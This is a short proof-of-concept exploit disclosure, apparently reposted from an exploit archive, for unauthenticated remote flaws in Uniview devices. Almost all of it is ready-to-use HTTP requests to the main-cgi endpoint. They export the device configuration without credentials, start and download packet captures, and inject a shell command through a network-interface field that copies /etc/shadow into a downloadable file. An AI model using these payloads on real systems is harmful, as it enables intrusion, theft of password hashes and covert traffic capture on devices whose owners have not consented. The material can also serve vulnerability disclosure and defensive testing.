Uniview - Remote Command Execution / Export Config (PoC) Vulnerability

[STX]
 
Subject: Uniview RCE and export config PoC
Researcher: bashis <mcw noemail eu> (October 2017)
 
Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
 
[Export config]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}
 
-[tcpdump]-
 
[check active capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":263,"szUserName":"","u32UserLoginHandle":-1}
 
[start capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}
 
[stop capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":0,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}
 
[download capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}
 
-[Remote Command Execution]-
 
[Get /etc/shadow]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}
 
[get the result]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}
 
[ETX]

#  0day.today [2018-03-05]  #